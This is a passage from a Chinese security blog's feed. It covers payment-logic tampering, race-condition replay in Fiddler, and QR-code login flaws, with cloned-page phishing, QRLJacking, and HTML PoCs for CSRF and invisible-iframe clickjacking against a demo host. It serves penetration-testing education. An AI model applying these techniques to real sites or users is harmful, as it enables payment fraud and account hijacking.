\u5f88\u591a\u5382\u5546\u7b97\u6cd5\u5199\u7684\u5f88\u597d\uff0c\u53ef\u6ca1\u7528\uff0c\u56e0\u4e3a\u4ed6\u7528\u7684\u662fJS\u4ee3\u7801\uff0c\u5728\u524d\u7aef\u4f1a\u76f4\u63a5\u80fd\u770b\u89c1\uff0c\u800c\u5c1d\u8bd5\u8ddf\u8e2aJS\u7684\u4ee3\u7801\u5c31\u4f1a\u77e5\u9053\u662f\u600e\u4e48\u52a0\u5bc6\u7684\u4ece\u800c\u53ef\u4ee5\u76f4\u63a5\u7ed5\u8fc7\u3002<\/p>\n\n<h4 id=\"-2\u7b97\u6cd5\u8106\u5f31\u660e\u6587\u53ef\u5224\u65ad\">* 2.\u7b97\u6cd5\u8106\u5f31\uff0c\u660e\u6587\u53ef\u5224\u65ad<\/h4>\n\n<p>-\u573a\u666f\uff1a\n2.1 \u8fd9\u662f\u4e00\u4e2a\u770b\u8fd0\u6c14\u7684\u95ee\u9898\uff0c\u4e00\u6bb5\u5bc6\u6587\u4e3amd5\u7684\uff0c\u8fd9\u65f6\u5019\u4f60\u8981\u505a\u597d\u81ea\u5df1\u7684\u5206\u6790\u660e\u6587\u5230\u5e95\u662f\u4ec0\u4e48\uff0c\u7136\u540e\u53bb\u78b0\u649e\uff0c\u4f8b\u5982\u53ef\u80fd\u662f<strong>md5(\u7528\u6237\u540d+\u90ae\u7bb1)<\/strong>\u8fd9\u6837\u7684\u7684\u7ec4\u5408\u3002<\/p>\n\n<h2 id=\"\u652f\u4ed8\u903b\u8f91\u6f0f\u6d1e\">\u652f\u4ed8\u903b\u8f91\u6f0f\u6d1e<\/h2>\n\n<h3 id=\"\u5e38\u89c1\u7f3a\u9677-3\">\u5e38\u89c1\u7f3a\u9677<\/h3>\n\n<h4 id=\"-1\u91d1\u989d\u4fee\u6539\">* 1.\u91d1\u989d\u4fee\u6539<\/h4>\n\n<p>-\u573a\u666f\uff1a\n1.1 \u652f\u4ed8\u7684\u8fc7\u7a0b\u4e2d\u6709\u5f88\u591a\u6d89\u53ca\u91d1\u989d\u7684\u5143\u7d20\u53ef\u4ee5\u4fee\u6539\u8fd0\u8d39\u3001\u4f18\u60e0\u4ef7\u3001\u6298\u6263\u7b49\uff0c\u53ef\u4ee5\u4fee\u6539\u4e3a\u8d1f\u6570\u91d1\u989d\u4e5f\u53ef\u4ee5\u4fee\u6539\u91d1\u989d\u4e3a\u5c0f\u4e8e\u539f\u91d1\u989d\u7684\u6570\u8fdb\u884c\u6d4b\u8bd5\uff0c\u6709\u65f6\u5019\u4f1a\u9047\u5230<code>\u6ea2\u51fa<\/code>\uff0c\u4f60\u4fee\u6539\u91d1\u989d\u4e3a\u8f83\u5927\u7684\u6570\u770b\u4f60\u4f1a\u51fa\u73b0\u53ea\u652f\u4ed81\u5143\u7684\u60c5\u51b5\u3002<\/p>\n\n<h4 id=\"-2\u6570\u91cf\u4fee\u6539\">* 2.\u6570\u91cf\u4fee\u6539<\/h4>\n\n<p>-\u573a\u666f\uff1a\n2.1 \u4fee\u6539\u8d2d\u4e70\u7269\u54c1\u7684\u6570\u91cf\u4e3a\u5c0f\u6570\u6216\u8005\u8d1f\u6570\uff0c\u540c\u4e0a\uff0c\u6709\u65f6\u5019\u4f1a\u9047\u5230<code>\u6ea2\u51fa<\/code>\uff0c\u4f60\u4fee\u6539\u6570\u91cf\u4e3a\u8f83\u5927\u7684\u6570\u770b\u4f60\u4f1a\u51fa\u73b0\u53ea\u652f\u4ed81\u5143\u7684\u60c5\u51b5\u3002<\/p>\n\n<h4 id=\"-3sign\u503c\u53ef\u9006\">* 3.sign\u503c\u53ef\u9006<\/h4>\n\n<p>-\u573a\u666f\uff1a\n3.1 \u8fd9\u662f\u4e00\u4e2a\u770b\u8fd0\u6c14\u7684\u95ee\u9898\uff0csign\u591a\u6570\u4e3a\u5bf9\u6bd4\u786e\u8ba4\u91d1\u989d\u7684\u4e00\u6bb5\u5185\u5bb9\uff0c\u5f88\u591a\u90fd\u662fmd5\u52a0\u5bc6\u7684\uff0c\u8fd9\u65f6\u5019\u4f60\u8981\u505a\u597d\u81ea\u5df1\u7684\u5206\u6790\u660e\u6587\u5230\u5e95\u662f\u4ec0\u4e48\uff0c\u7136\u540e\u53bb\u78b0\u649e\uff0c\u4f8b\u5982\u53ef\u80fd\u662f<strong>md5(\u8ba2\u5355\u53f7+\u91d1\u989d)<\/strong>\u8fd9\u6837\u7684\u7684\u7ec4\u5408\uff0c\u7136\u540e\u4fee\u6539\u91d1\u989d\u91cd\u65b0\u751f\u6210sign\u5c31\u53ef\u4ee5\u7ed5\u8fc7\u91d1\u989d\u56fa\u5b9a\u7684\u9650\u5236\u4e86\u3002<\/p>\n\n<h2 id=\"\u6761\u4ef6\u7ade\u4e89http\u5e76\u53d1\">\u6761\u4ef6\u7ade\u4e89(HTTP\u5e76\u53d1)<\/h2>\n\n<h3 id=\"\u5e38\u89c1\u7f3a\u9677-4\">\u5e38\u89c1\u7f3a\u9677<\/h3>\n\n<h4 id=\"-1\u6761\u4ef6\u7ade\u4e89http\u5e76\u53d1\">* 1.\u6761\u4ef6\u7ade\u4e89\uff08HTTP\u5e76\u53d1\uff09<\/h4>\n\n<p>-\u573a\u666f\uff1a\n1.1 \u5728\u7b7e\u5230\u3001\u8f6c\u8d26\u3001\u5151\u6362\u3001\u8d2d\u4e70\u7b49\u573a\u666f\u662f\u6700\u5bb9\u6613\u51fa\u73b0\u8fd9\u6837\u7684\u95ee\u9898\uff0c\u800c\u5e76\u53d1\u6d4b\u8bd5\u7684\u65b9\u6cd5\u53ef\u4ee5\u4f7f\u7528Fiddler\u4e5f\u53ef\u4ee5\u4f7f\u7528BurpSuite Intruder\u6a21\u5757\u3002<\/p>\n\n<p>\u8fd9\u91cc\u4f8b\u4e3e\u4e0bFiddler\u6d4b\u8bd5\u65b9\u6cd5\uff08BurpSuite\u6d4b\u8bd5\u5f88\u7b80\u5355\u5c31\u4e0d\u8bf4\u660e\u4e86\uff09\uff1a<\/p>\n\n<p>\u914d\u7f6e\u597d\u4ee3\u7406\uff0c\u8bbe\u7f6e\u597d\u62e6\u622a\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-18\/0x00.png\" alt=\"0x00.png\" \/><\/p>\n\n<p>\u7136\u540e\u70b9\u51fb\u5151\u6362\u3001\u8f6c\u8d26\u3001\u7b7e\u5230\u7b49\u6700\u540e\u4e00\u6b65\u6309\u94ae\u7684\u65f6\u5019\u4f1a\u6293\u5230\u4e00\u4e2a\u8bf7\u6c42\uff0c\u53f3\u952e\u8fd9\u4e00\u8bf7\u6c42\u7136\u540e\u6309\u4f4fShift\u70b9\u51fbReplay-&gt;Reissue Requests\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-18\/0x01.png\" alt=\"0x01.png\" \/><\/p>\n\n<p>\u586b\u5165\u8981\u91cd\u53d1\u7684\u6b21\u6570\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-18\/0x02.png\" alt=\"0x02.png\" \/><\/p>\n\n<p>\u4e00\u822c\u4e3a20\u5373\u53ef\uff0c\u7136\u540e\u70b9\u51fbGO\u653e\u884c\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-18\/0x03.png\" alt=\"0x03.png\" \/><\/p>\n\n<p>\u6700\u540e\u770b\u4f60\u81ea\u5df1\u6765\u5224\u65ad\u662f\u5426\u5b58\u5728\u5e76\u53d1\u7684\u95ee\u9898\uff0c\u4f8b\u5982\u7b7e\u5230\uff0c\u5982\u679c\u5b58\u5728\u90a3\u4e48\u80af\u5b9a\u662f\u7b7e\u5230\u5929\u6570\u6216\u8005\u7b7e\u5230\u6240\u83b7\u5f97\u7684\u5956\u52b1\u4f1a\u4e00\u4e0b\u5b50\u6709\u5f88\u591a\uff0c\u4e5f\u53ef\u4ee5\u770bFiddler\u4e2d\u7684\u54cd\u5e94\u62a5\u6587\u7ed3\u679c\u3002<\/p>\n","pubDate":"2018-04-18T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-04-18\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-04-18\/1"},{"title":"\u4e8c\u7ef4\u7801\u767b\u9646\u7684\u5e38\u89c1\u7f3a\u9677\u5256\u6790","description":"<h1 id=\"\u4e8c\u7ef4\u7801\u767b\u9646\u7684\u5e38\u89c1\u7f3a\u9677\u5256\u6790\">\u4e8c\u7ef4\u7801\u767b\u9646\u7684\u5e38\u89c1\u7f3a\u9677\u5256\u6790<\/h1>\n\n<p>\u73b0\u5728\u5f88\u591a\u7684\u7535\u5546\u5e73\u53f0\u548c\u4e92\u8054\u7f51\u578b\u4f01\u4e1a\u90fd\u6709\u81ea\u5df1\u7684\u624b\u673aAPP\uff0c\u4e3a\u4e86\u65b9\u4fbf\u7528\u6237\u7684\u4f53\u9a8c\uff0c\u4e8e\u662f\u5c31\u6709\u4e86\u201d\u626b\u7801\u767b\u9646\u201d\u8fd9\u6837\u7684\u529f\u80fd\u3002\u770b\u4f3c\u626b\u7801\u767b\u9646\uff0c\u5b9e\u9645\u4e0a\u8fd8\u662f\u57fa\u4e8eHTTP\u8bf7\u6c42\u6765\u5b8c\u6210\u7684\u3002<\/p>\n\n<h2 id=\"\u4e86\u89e3\u626b\u7801\u767b\u9646\u6b65\u9aa4\">\u4e86\u89e3\u626b\u7801\u767b\u9646\u6b65\u9aa4<\/h2>\n\n<p>\u6807\u51c6\u7684\u4e8c\u7ef4\u7801\u767b\u9646\u6d41\u7a0b\u5982\u4e0b\uff1a<\/p>\n<ol>\n  <li>\u6253\u5f00web\u754c\u9762\u8fdb\u5165\u767b\u9646\u7136\u540e\u52a0\u8f7d\u4e8c\u7ef4\u7801<\/li>\n  <li>\u7f51\u7ad9\u5f00\u59cb\u8f6e\u8be2\uff0c\u6765\u68c0\u6d4b\u4e8c\u7ef4\u7801\u72b6\u6001<\/li>\n  <li>\u6253\u5f00\u624b\u673aAPP\u8fdb\u5165\u201d\u626b\u4e00\u626b\u201d\uff0c\u626b\u63cf\u4e8c\u7ef4\u7801<\/li>\n  <li>\u7f51\u7ad9\u68c0\u6d4b\u5230\u4e8c\u7ef4\u7801\u88ab\u626b\u63cf\uff0c\u8fdb\u5165\u88ab\u626b\u63cf\u540e\u7684\u754c\u9762\uff0c\u7ee7\u7eed\u8f6e\u8be2\u6765\u83b7\u53d6\u51ed\u8bc1<\/li>\n  <li>\u624b\u673aAPP\u8fdb\u5165\u786e\u8ba4\u767b\u9646\u754c\u9762<\/li>\n  <li>(\u5f53\u70b9\u51fb\u786e\u8ba4\u767b\u9646)\u7f51\u7ad9\u8f6e\u8be2\u7ed3\u675f\u83b7\u53d6\u5230\u4e86\u51ed\u8bc1\uff0c\u8fdb\u5165\u4e2a\u4eba\u4e2d\u5fc3\uff1b(\u5f53\u53d6\u6d88\u767b\u9646)\u7f51\u7ad9\u8f6e\u8be2\u8bbe\u5b9a\u65f6\u95f4\u81ea\u52a8\u5237\u65b0\u9875\u9762\u3002<\/li>\n<\/ol>\n\n<h2 id=\"\u5e38\u89c1\u7f3a\u9677\u5256\u6790\">\u5e38\u89c1\u7f3a\u9677\u5256\u6790<\/h2>\n\n<h3 id=\"0x00-\u975e\u6807\u51c6\u626b\u7801\u767b\u9646\u6d41\u7a0b\u7f3a\u9677\">0x00 \u975e\u6807\u51c6\u626b\u7801\u767b\u9646\u6d41\u7a0b\u7f3a\u9677<\/h3>\n\n<h4 id=\"\u975e\u6807\u51c6\u6d41\u7a0b\u63cf\u8ff0\">\u975e\u6807\u51c6\u6d41\u7a0b\u63cf\u8ff0<\/h4>\n\n<p>\u626b\u63cf\u767b\u9646\u7684\u6d41\u7a0b\u5982\u679c\u4e0d\u6309\u7167\u6807\u51c6\u6765\u505a\u4e5f\u4f1a\u5b58\u5728\u5f88\u591a\u95ee\u9898\uff0c\u56fd\u5185\u4e00\u4e9b\u4f01\u4e1a\u5728\u5904\u7406\u8fd9\u4e9b\u7684\u65f6\u5019\u7701\u7565\u4e86\u5982\u4e0a\u6240\u8ff0\u7684\u7b2c\u4e94\u6b65\u9aa4\u548c\u7b2c\u516d\u6b65\u9aa4\uff0c\u800c\u662f\u76f4\u63a5\u626b\u63cf\u540e\u7acb\u5373\u767b\u9646\u3002<\/p>\n\n<h4 id=\"\u5206\u6790\u975e\u6807\u51c6\u6d41\u7a0b\u53ef\u80fd\u5b58\u5728\u7684\u95ee\u9898\">\u5206\u6790\u975e\u6807\u51c6\u6d41\u7a0b\u53ef\u80fd\u5b58\u5728\u7684\u95ee\u9898<\/h4>\n\n<ul>\n  <li>\u53ef\u8fdb\u884c1:1\u6bd4\u4f8b\u8bf1\u5bfc\u626b\u63cf<\/li>\n<\/ul>\n\n<p>\u4e8c\u7ef4\u7801\u662f\u4e00\u5f20\u56fe\u7247\u800c\u56fe\u7247\u662f\u53ef\u4ee5\u79fb\u690d\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee51:1\u514b\u9686\u4e00\u4e2a\u767b\u9646\u9875\u9762\u6765\u8bf1\u5bfc\u7528\u6237\u8fdb\u884c\u626b\u63cf\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u7528\u6237\u7684\u6743\u9650\u4e86\u3002<\/p>\n\n<p>\u56e0\u4e3a\u4fdd\u5bc6\u534f\u8bae\u7684\u95ee\u9898\uff0c\u8fd9\u91cc\u4e0d\u5bf9\u6f0f\u6d1e\u8be6\u60c5\u8fdb\u884c\u63cf\u8ff0\uff0c\u7b80\u5355\u7684\u4f7f\u7528\u6587\u5b57\u8fdb\u884c\u53d9\u8ff0\uff1a<\/p>\n\n<p>\u5728\u6d4b\u8bd5\u8fd9\u79cd\u95ee\u9898\u7684\u65f6\u5019\uff0c\u53ea\u9700\u8981\u6309\u7167\u6b65\u9aa4\u53bb\u6d4b\u8bd5\u4e0b\u5373\u53ef\u53d1\u73b0\u662f\u5426\u6709\u76f8\u5bf9\u4e8e\u7684\u95ee\u9898\uff0c\u6211\u4e00\u822c\u4f1a\u4f7f\u7528\u6d4f\u89c8\u5668ctrl+s\u5feb\u6377\u952e\u5148\u514b\u9686\u4e0b\u6765\uff0c\u56e0\u4e3a\u8fd9\u6837\u4f1a\u81ea\u5e26css\u548cjs\u7b49\u6587\u4ef6\uff0c\u5269\u4e0b\u7684\u53ea\u9700\u8981\u4f60\u5904\u7406\u4e00\u4e0b\u5c31\u884c\u4e86\uff0c\u4e5f\u53ef\u4ee5\u53c2\u8003\u6211\u4e4b\u524d\u7684\u6587\u7ae0\uff1a<a href=\"https:\/\/bbs.ichunqiu.com\/thread-25923-1-1.html\">\u5fae\u4fe1Netting-QRLJacking\u5206\u6790\u5229\u7528-\u626b\u6211\u4e8c\u7ef4\u7801\u83b7\u53d6\u4f60\u7684\u8d26\u53f7\u6743\u9650<\/a>\uff0c\u65b9\u6cd5\u7c7b\u4f3c\u5c31\u884c\uff0c\u4f46\u662f\u8fd9\u91cc\u7684\u5fae\u4fe1\u4e8c\u7ef4\u7801\u767b\u5f55\u662f\u57fa\u4e8eOAuth2.0\u534f\u8bae\u7684\uff0c\u6240\u4ee5\u5f53\u7528\u6237\u70b9\u51fb\u4e4b\u540e\uff0c\u6211\u53ea\u8981\u83b7\u53d6\u5230\u6388\u6743\u51ed\u8bc1\u94fe\u63a5\u5c31\u884c\u4e86\uff0c\u800c\u4e00\u822c\u7684\u4e8c\u7ef4\u7801\u767b\u9646\u662f\u4e0d\u57fa\u4e8eOAuth2.0\u534f\u8bae\u7684\uff0c\u5c31\u9700\u8981\u5904\u7406\u597d\u4f60\u7684\u4ea4\u4e92\u95ee\u9898\u3002<\/p>\n\n<h3 id=\"0x01-qrljacking-\u4e8c\u7ef4\u7801\u767b\u9646\u52ab\u6301\">0x01 QRLJacking-\u4e8c\u7ef4\u7801\u767b\u9646\u52ab\u6301<\/h3>\n\n<p>2017\u5e74OWASP\u63a8\u51fa\u4e86\u8fd9\u79cd\u653b\u51fb\u65b9\u5f0f\uff1ahttps:\/\/www.owasp.org\/index.php\/Qrljacking<\/p>\n\n<p>\u56e0\u4e3aOWASP\u4e0a\u6709\u8be6\u7ec6\u7684\u4ecb\u7ecd\uff0c\u6240\u4ee5\u5728\u8fd9\u91cc\u6211\u5c31\u4e0d\u4ee5\u5b9e\u9645\u6848\u4f8b\u6765\u8bf4\u660e\u4e86\u3002<\/p>\n\n<p>\u8865\u5145\u7684\u4e00\u70b9\u662f\u57280x00\u4e2d\u6211\u5df2\u7ecf\u8bf4\u660e\u4e86\u4e4b\u524d\u4e00\u7bc7\u6587\u7ae0<a href=\"https:\/\/bbs.ichunqiu.com\/thread-25923-1-1.html\">\u5fae\u4fe1Netting-QRLJacking\u5206\u6790\u5229\u7528-\u626b\u6211\u4e8c\u7ef4\u7801\u83b7\u53d6\u4f60\u7684\u8d26\u53f7\u6743\u9650<\/a>\uff0c\u5728\u8fd9\u91cc\u6211\u79f0\u4e4b\u4e3aNetting-QRLJacking\u662f\u56e0\u4e3a\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u9493\u9c7c\u7f51\u7ad9\u65b9\u5f0f\u7684\u65b9\u6cd5\u8fdb\u884c\u5927\u9762\u79ef\u6492\u7f51~\u800c\u5176\u5b9e\u8fd9\u91cc\u662f\u5229\u7528\u4e86OAuth2.0\u7684\u4e00\u4e2a\u6d41\u7a0b\u7279\u5f81\uff0c\u6211\u4eec\u60f3\u8fdb\u884c\u4e8c\u7ef4\u7801\u767b\u5f55\u52ab\u6301\u7684\u65f6\u5019\u4e5f\u53ef\u4ee5\u5229\u7528\u201d\u626b\u7801\u767b\u9646\u201d\u7684\u6d41\u7a0b\u7279\u5f81\u3002<\/p>\n\n<p>\u4e4b\u524d\u5df2\u7ecf\u628a\u201d\u626b\u7801\u767b\u9646\u201d\u7684\u6d41\u7a0b\u8bf4\u7684\u5f88\u6e05\u695a\u4e86\uff0c\u6211\u4eec\u77e5\u9053\u5176\u4e2d\u4e00\u6b65\u8f6e\u8be2\u662f\u7528\u6237\u70b9\u51fb\u786e\u8ba4\u767b\u9646\u4e4b\u540e\u5c31\u901a\u8fc7\u8f6e\u8be2\u8fd9\u4e2a\u63a5\u53e3\u53ef\u4ee5\u76f4\u63a5\u83b7\u5f97\u51ed\u8bc1\uff0c\u5229\u7528\u8fd9\u4e2a\u7279\u70b9\u5c31\u884c\u4e86\u3002<\/p>\n\n<p><strong>\u5c0f\u63d0\u793a\uff1a<\/strong>\u6574\u4e2a\u6d41\u7a0b\u5212\u5206\u4e3a\u4e00\u4e2a\u4e00\u4e2a\u7684\u63a5\u53e3\u6765\u6d4b\u8bd5\uff0c\u4f60\u4f1a\u66f4\u6e05\u695a\u7684\u3002<\/p>\n\n<h3 id=\"0x02-csrf\u8de8\u7ad9\u8bf7\u6c42\u8bbf\u95ee\">0x02 CSRF\u8de8\u7ad9\u8bf7\u6c42\u8bbf\u95ee<\/h3>\n\n<p>\u4e4b\u57280x01\u8bf4\u4e86\uff0c\u628a\u6574\u4e2a\u6d41\u7a0b\u5212\u5206\u4e3a\u4e00\u4e2a\u4e2a\u7684\u63a5\u53e3\u6765\u6d4b\u8bd5\uff0c\u4f60\u5c31\u4f1a\u66f4\u6e05\u695a\uff0c\u5176\u5b9e\u6f5c\u53f0\u8bcd\u5c31\u662f<strong>\u201c\u4f60\u4f1a\u53d1\u73b0\u66f4\u591a\u6f0f\u6d1e\u201d<\/strong>~<\/p>\n\n<p>\u4ee5\u4e00\u4e2a\u5b9e\u9645\u4f8b\u5b50\u6765\u8bb2\u89e3\uff1a<\/p>\n\n<p>\u5728\u6d4b\u8bd5\u4e00\u4e2a\u7ad9\u70b9\u7684\u65f6\u5019\u9047\u5230\u7684\u95ee\u9898\uff0c\u5176\u626b\u7801\u767b\u9646\u7684\u6d41\u7a0b\u5168\u90e8\u4e3aGET\u7c7b\u578b\u8bf7\u6c42\uff1a<\/p>\n\n<ol>\n  <li>\u6253\u5f00web\u754c\u9762\u8fdb\u5165\u767b\u9646\u7136\u540e\u52a0\u8f7d\u4e8c\u7ef4\u7801<strong>\uff08http:\/\/www.gh0stdemo.cn\/getqrcode \u8fd4\u56de\u4e00\u6bb5uuid \u4e8c\u7ef4\u7801\u7684\u94fe\u63a5\u4e3a http:\/\/www.gh0stdemo.cn\/qrcode?code=qrcode\uff09<\/strong><\/li>\n  <li>\u7f51\u7ad9\u5f00\u59cb\u8f6e\u8be2\uff0c\u6765\u68c0\u6d4b\u4e8c\u7ef4\u7801\u72b6\u6001<strong>\uff08http:\/\/www.gh0stdemo.cn\/getqrlstate?code=qrcode\uff09<\/strong><\/li>\n  <li>\u6253\u5f00\u624b\u673aAPP\u8fdb\u5165\u201d\u626b\u4e00\u626b\u201d\uff0c\u626b\u63cf\u4e8c\u7ef4\u7801<strong>\uff08http:\/\/www.gh0stdemo.cn\/qrcode?code=qrcode\uff09<\/strong><\/li>\n  <li>\u7f51\u7ad9\u68c0\u6d4b\u5230\u4e8c\u7ef4\u7801\u88ab\u626b\u63cf\uff0c\u8fdb\u5165\u88ab\u626b\u63cf\u540e\u7684\u754c\u9762\uff0c\u7ee7\u7eed\u8f6e\u8be2\u6765\u83b7\u53d6\u51ed\u8bc1<strong>\uff08http:\/\/www.gh0stdemo.cn\/getqrlstate?code=qrcode\uff09<\/strong><\/li>\n  <li>\u624b\u673aAPP\u8fdb\u5165\u786e\u8ba4\u767b\u9646\u754c\u9762<strong>\uff08\u8fd9\u6b65\u9aa4\u5fc5\u987b\u9700\u8981\u7ecf\u8fc7\u7b2c\u56db\u6b65\u9aa4\u4e4b\u540e\u624d\u53ef\u4ee5 http:\/\/www.gh0stdemo.cn\/putqrlstate?code=qrcode\uff09<\/strong><\/li>\n  <li>(\u5f53\u70b9\u51fb\u786e\u8ba4\u767b\u9646)\u7f51\u7ad9\u8f6e\u8be2\u7ed3\u675f\u83b7\u53d6\u5230\u4e86\u51ed\u8bc1\uff0c\u8fdb\u5165\u4e2a\u4eba\u4e2d\u5fc3\uff1b(\u5f53\u53d6\u6d88\u767b\u9646)\u7f51\u7ad9\u8f6e\u8be2\u8bbe\u5b9a\u65f6\u95f4\u81ea\u52a8\u5237\u65b0\u9875\u9762\u3002<\/li>\n<\/ol>\n\n<p>\u5728\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u8fd9\u6837\u7684PoC\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n\t&lt;title&gt;PoC&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;script&gt;\nfunction loadsrc(){\n\tdocument.getElementById(\"test1\").src=\"http:\/\/www.gh0stdemo.cn\/qrcode?code=qrcode\";\n}\nsetTimeout('loadsrc()',1000);\n&lt;\/script&gt;\n&lt;iframe id=\"test1\" src=\"http:\/\/www.gh0stdemo.cn\/putqrlstate?code=qrcode\"&gt;\n&lt;\/iframe&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n<p>\u5f88\u7b80\u5355\u7684\u4e00\u4e2aPoC\u5c31\u6784\u6210\u4e86\uff0c\u8fd9\u91cc\u4e5f\u786e\u5b9e\u5b58\u5728CSRF\u7684\u95ee\u9898\uff0c\u53ef\u80fd\u5728\u8fd9\u91cc\u6709\u4eba\u4f1a\u60f3\u5230\u653b\u51fb\u9762\u5f97\u95ee\u9898\uff0c\u4ec5\u4ec5\u53ea\u9650\u4e8eAPP\u7aef\uff1f\u5f53\u7136\u4e0d\uff0c\u5176\u5b9e\u539f\u7406\u662f\u4e00\u6837\u5f97\uff0c\u90fd\u662f\u628a\u81ea\u5df1\u7684\u51ed\u8bc1(Cookie)\u53d1\u51fa\u53bb\uff0c\u6240\u4ee5\u5728\u7535\u8111\u7684web\u7aef\u53ea\u8981\u767b\u9646\u4e86\u4e00\u6837\u53ef\u4ee5\u5b8c\u6210\u653b\u51fb\u6b65\u9aa4~<\/p>\n\n<p>\u5f53\u7136\u5728\u8fd9\u91cc\u4e5f\u6709POST\u5f62\u5f0f\u7684CSRF\uff0c\u56e0\u4e3a\u5185\u5bb9\u91cd\u590d\u5ea6\u8fc7\u9ad8\u5c31\u4e0d\u4e00\u4e00\u4e3e\u4f8b\u4e86\u3002<\/p>\n\n<h3 id=\"0x03-clickjacking-\u70b9\u51fb\u52ab\u6301\">0x03 ClickJacking-\u70b9\u51fb\u52ab\u6301<\/h3>\n\n<p>\u70b9\u51fb\u52ab\u6301\uff0c\u89c6\u89c9\u6b3a\u9a97<\/p>\n\n<p>\u6839\u636e\u626b\u7801\u767b\u9646\u7684\u6d41\u7a0b\u4e2d\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u6709\u4e00\u4e2a\u6d41\u7a0b\u5f3a\u5236\u7684\u8981\u6c42\u4e86\u7528\u6237\u53bb\u70b9\u51fb\u786e\u8ba4\u767b\u9646\u7684\u6309\u94ae\uff0c\u4f46\u662f\u8fd9\u4e2a\u754c\u9762\u5f80\u5f80\u6ca1\u6709\u505a\u70b9\u51fb\u52ab\u6301\u7684\u9632\u8303\uff1a<\/p>\n\n<p>\u5728\u6211\u4e4b\u524d\u7684\u4e00\u7bc7\u6587\u7ae0\u4e2d\u8be6\u7ec6\u8bb2\u4e86PoC\u7684\u5236\u4f5c\u65b9\u6cd5\uff1ahttp:\/\/gh0st.cn\/archives\/2017-12-20\/1<\/p>\n\n<p>\u4e4b\u524d\u8ddf\u4e00\u670b\u53cb\u5728\u6d4b\u8bd5\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u4e00\u4e9b\u95ee\u9898\uff0c\u6709\u4e9b\u7f51\u7ad9\u7528iframe\u6807\u7b7e\u5f15\u7528\u8fdb\u6765\uff0c\u4e0d\u4f1a\u767e\u5206\u767e\u7684\u81ea\u9002\u5e94\uff0c\u5728\u8fd9\u91cc\u6211\u4f7f\u7528\u4e86div\u4e3a\u7236\u5143\u7d20\uff0c\u5982\u4f55\u518d\u5728div\u91cc\u9762\u5199\u5165iframe\u8fd9\u4e2a\u5b50\u5143\u7d20\u6765\u81ea\u9002\u5e94\u5c31\u884c\u4e86\u3002<\/p>\n\n<pre><code class=\"language-html\">&lt;html&gt;\n&lt;head&gt;\n&lt;meta name=\"referrer\" content=\"never\"&gt;\n&lt;style type=\"text\/css\"&gt; \n.testframe {\n\theight: 100%;\n} \niframe {\n\theight: 100%;\n\twidth: 100%;\n\tborder: 0;\n\tmargin: 0;\n\tpadding: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n    filter: alpha(Opacity=0); \/*\u63d0\u4f9b\u7ed9IE\u6d4f\u89c8\u56688\u4e4b\u524d\u7684*\/\n    -moz-opacity: 0; \/*\u63d0\u4f9b\u7ed9\u706b\u72d0\u6d4f\u89c8\u5668\u7684*\/\n    -webkit-opacity: 0; \/*\u63d0\u4f9b\u7ed9webkit\u5185\u6838\u7684*\/\n    -khtml-opacity: 0; \/*\u63d0\u4f9b\u7ed9KHTML\u5185\u6838\u7684*\/\n    -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\"; \/*\u63d0\u4f9b\u7ed9IE8\u4e4b\u540e\u7684*\/\n    opacity: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n}\n.btn {\n    position: fixed;\n    width: 97%;\n    height: 42px;\n    margin: 0 auto;\n    left: 0;\n    right:0;\n    display:block;\n    top: 815px;\n} \n&lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;div class=\"testframe\"&gt;\n\t&lt;input type=\"button\" class=\"btn\" value=\"Click\"&gt;\n\t&lt;iframe src=\"http:\/\/www.gh0stdemo.cn\/qrcode?code=qrcode\"&gt;&lt;\/iframe&gt;\n&lt;\/div&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n<p>\u793a\u4f8b\u7ed3\u679c\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-08\/0x00.png\" alt=\"\/images\/2018-04-08\/0x00.png\" \/><\/p>\n\n<h2 id=\"\u7ed3\u5c3e\">\u7ed3\u5c3e<\/h2>\n\n<p>\u672c\u6587\u6ca1\u8be6\u7ec6\u7684\u53bb\u5199\uff0c\u4ec5\u4ec5\u8bb0\u5f55\u7b14\u8005\u7684\u5b9e\u8df5\u8fc7\u7a0b\u548c\u5fc3\u5f97\u3002<\/p>\n","pubDate":"2018-04-08T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-04-08\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-04-08\/1"},{"title":"\u8bfb\u53d6\u578bCSRF-\u9700\u8981\u4ea4\u4e92\u7684\u5185\u5bb9\u52ab\u6301","description":"<h1 